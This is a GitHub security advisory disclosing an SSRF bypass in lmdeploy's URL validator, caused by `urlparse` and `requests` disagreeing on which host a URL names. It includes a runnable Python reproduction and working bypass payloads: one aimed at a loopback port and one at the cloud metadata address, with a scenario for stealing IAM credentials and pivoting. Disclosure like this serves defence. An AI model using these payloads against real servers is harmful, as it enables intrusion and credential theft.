GHSA-39wr-7q6h-cf68: lmdeploy: URL parser mismatch enables SSRF bypass

### Summary The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. ### Details The current lmdeploy project uses `_is_safe_url` to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. <img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" /> However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using `_is_safe_url` for URL validation, and then using requests.Session().get to send the request. <img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" /> The core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\@1.1.1.1` points to: - `urlparse()` treats `\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public) - `requests` treats `\` as a path character, connecting to `127.0.0.1` (internal) Below is a test code I wrote following the code. ``` from urllib.parse import urlparse import ipaddress import socket import requests def _is_safe_url(url: str) -> tuple[bool, str]: """Check if the URL is safe to fetch (not internal/private).""" try: parsed = urlparse(url) if parsed.scheme not in ("http", "https"): return False, f"Unsupported scheme: {parsed.scheme}" hostname = parsed.hostname if not hostname: return False, "Could not parse hostname from URL" # check all IPs (IPv4 + IPv6) using getaddrinfo try: infos = socket.getaddrinfo(hostname, None) except socket.gaierror: return False, "Hostname resolution failed" for info in infos: ip = ipaddress.ip_address(info[4][0]) # block any IP that is not globally routable (covers private, loopback, # link-local, multicast, reserved, unspecified, etc.) if not ip.is_global: return False, f"Blocked non-global IP detected: {ip}" return True, "URL is safe" except Exception as e: return False, f"URL validation failed: {str(e)}" # url = "http://127.0.0.1:6666" url = "http://127.0.0.1:6666\@1.1.1.1" is_safe, reason = _is_safe_url(url) if not is_safe: raise ValueError(f"URL is blocked for security reasons: {reason}") fetch_timeout = 10 client = requests.Session() client.max_redirects = 3 response = client.get(url, timeout=fetch_timeout, allow_redirects=True) ``` When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. <img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" /> However, when an attacker uses `http://127.0.0.1:6666\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666/`, bypassing the detection and achieving an SSRF attack. <img width="2064" height="154" alt="QQ20260416-204319-16-4" src="https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02" /> ### PoC ``` http://127.0.0.1:6666\@1.1.1.1 ``` ### Impact SSRF

An attacker sends a multimodal inference request to an exposed lmdeploy server with an image URL such as `http://169.254.169.254:80\@1.1.1.1`. The `_is_safe_url` check parses the host as 1.1.1.1, resolves it to a global IP, and approves the URL. The requests library then connects to the cloud metadata service, and the response is processed by the server. The attacker retrieves temporary IAM credentials or probes internal services, then uses those credentials to pivot into model storage buckets, data stores, and the wider cloud environment.